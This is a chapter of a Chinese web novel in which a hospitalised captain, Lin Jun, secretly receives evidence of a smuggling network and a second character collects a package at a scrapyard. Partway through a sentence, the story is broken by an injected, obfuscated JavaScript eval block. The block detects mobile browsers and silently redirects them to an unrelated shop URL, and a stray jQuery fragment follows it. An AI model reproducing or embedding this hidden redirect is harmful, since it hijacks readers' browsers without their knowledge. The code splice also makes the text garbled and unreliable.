汽车在颠簸中行驶了许久,最终缓缓停下。
林军被秦医生和那名沉默的司机搀扶下车,刺骨的冷风让他昏沉的头脑清醒了几分。
他发现自己身处一个极其偏僻的、废弃的铁路货场。
生锈的铁轨蔓延向黑暗深处,废弃的仓库如同巨大的黑色积木,寂静无声,只有风声呜咽。
他们走进其中一个看起来随时会倒塌的仓库。里面堆满了破旧的麻袋和木箱,空气中弥漫着浓重的灰尘和铁锈味。
唯一的光源来自角落里一盏昏暗的煤油灯,灯旁,背对着他们,站着一个纤细的身影。
听到脚步声,那人转过身。
煤油灯的光晕勾勒出一张清丽却带着几分锐利与风霜的脸庞。
她看起来二十七八岁,眼神明亮而冷静,穿着合身的深色工装,脖子上随意搭着一条旧围巾,气质与这破败的环境格格不入,却又奇异地融为一体。
“秦大夫,辛苦了。”
她开口,声音清脆,带着一种不容置疑的镇定。
“人带来了,颜小姐。”
秦医生点点头,语气带着一丝不易察觉的恭敬,“药效大概还能维持半小时左右的虚弱假象。”
那名叫小姐的女子目光转向林军,仔细打量着他,眼神复杂。
“林军队长,好久不见。没想到再见面,是在这种情形下。”
她微微叹了口气。
林军怔住了。
他仔细看着这张脸,他没想到竟然在这个时候碰到了颜幽幽!
这个女人总是在自己最困难的时候出现!
“幽幽。”
林军轻声喊道。
颜幽幽笑了笑,笑容短暂却驱散了一些周围的阴冷。
她示意秦医生和司机到门口警戒,然后走到林军面前,压低声音,语速极快:“长话短说。**、刘**他们背后的网络,牵扯到一条利用战时和备荒通道进行走私和利益输送的暗线,存在很多年了,根深蒂固。你们捅的马蜂窝,比想象中更大。现在上面意见分歧很大,一方要彻底铲除,另一方则力主冷处理,美其名曰维护稳定,实则是保护盘根错节的利益集团。”
“你现在是双方争夺的关键砝码。一方想让你永远闭嘴,另一方则需要你的证词和勇气来打破僵局。把你控制在疗养院,是妥协的结果,但并非长久之计。”
林军心中巨震,颜幽幽的话印证了他最坏的猜想,但也带来了新的希望。
“你……你怎么会知道这些?这些事情跟你的公司有关系吗?”
“有关系也没关系。”
颜幽幽的眼神锐利起来,“秦医生是我们的人,他冒险把你带出来,时间不多。”
她从一个旧帆布包里拿出一个牛皮纸信封,塞到林军手里:“这里面是一些东西,你仔细看,记在心里,然后烧掉。或许能帮你理清一些头绪,也或许能……保命。”
林军接过信封,触手厚重,里面似乎不止是文件。
“为什么帮我?”
颜幽幽沉默了一下,眼神掠过一丝复杂的情绪:“你们做的事,是对的。有些人,总得站出来做点什么。”
这时,门口传来秦医生一声轻微的咳嗽预警。
“时间到了。”
颜幽幽神色一凛,“你必须立刻回去,否则会引来怀疑。回去之后,继续装病,麻痹他们。等待下一次联系。信号是……”
她快速说了几个看似无关的词组和一段简单的旋律,“记住它。需要紧急联系时,想办法让收音机调到这个频率,播放这段旋律,我会尽力设法回应。”
“那高源他们呢……”
“暂时安全,他们目前的目标是你。但拖延下去不好说。”颜幽幽语气凝重,“所以,尽快想办法破局。走吧,从后门出去,车在等。”
秦医生和司机迅速进来,再次给林军注射了微量的药物,让他恢复虚弱昏迷的状态,搀扶着他迅速离开。
回到疗养院的过程有惊无险。
高主任的消失似乎起到了足够的震慑作用,无人敢深入追问转院抢救的细节。林军被重新安置回病房,继续他虚弱的疗养生活。
夜深人静时,林军才在被子底下,借着手电筒的微光,颤
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582824|176133||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
抖着打开颜幽幽给的那个信封。
里面没有文件,只有几张模糊的黑白照片和一页写满了复杂符号和代号的笔记。
照片拍摄的似乎是某些文件的片段,内容令人触目惊心:不止有粮食,还有钢材、药品甚至是一些管制严格的工业设备,通过复杂的渠道和伪造的批文流出。笔记上则记录着一些代号间的资金往来和物资流向,虽然隐晦,但指向性惊人!其中一个频繁出现的代号渔夫,其权限和涉及的物资级别,高得吓人。
林军的心脏剧烈跳动。颜幽幽提供的这些碎片,虽然依旧无法拼出全貌,但却将他之前的猜测证实了大半!这条暗线的能量和危害,远超他的想象!
他将照片和笔记的内容死死记在脑中,然后小心翼翼地将它们撕成碎片,一点点吞了下去。
纸张粗糙,带着一股难以言喻的苦涩,但他毫无犹豫。
……
另一边,胡玉按照匿名信的指示,忐忑不安地找到了城西那个叫兴隆的废品收购站。
废品站里堆满了破铜烂铁和废旧纸张,气味难闻。一个头发花白、满脸油污、正在费力分拣废品的老头抬起头,眯着眼打量她:“姑娘,找啥?”
胡玉深吸一口气,压低声音:“老师傅,我找老曲头。问问三号库的旧轴承还有没有?”
老头动作顿了一下,浑浊的眼睛里闪过一丝锐光,随即又黯淡下去,他摆摆手,声音沙哑:“没有没有!早没了!哪还有什么三号库,都拆八百年了!去别处找吧!”语气很不耐烦。
胡玉的心沉了下去,是找错了,还是……对方反悔了?或者这是个陷阱?
她不甘心,又试探着问:“是……是一位朋友让我来的,说您这儿或许有……不一样的‘旧货’。”
老头猛地停下动作,盯着她看了几秒,忽然朝地上啐了一口,嘟囔着:“麻烦……”他左右看了看,极其快速地将一个脏兮兮的、裹着油布的硬块塞进她手里,同时压低声音急促地说:“快走!以后别来了!谁问都说不认识我!”
胡玉心脏狂跳,抓紧那硬块,塞进包里,转身快步离开。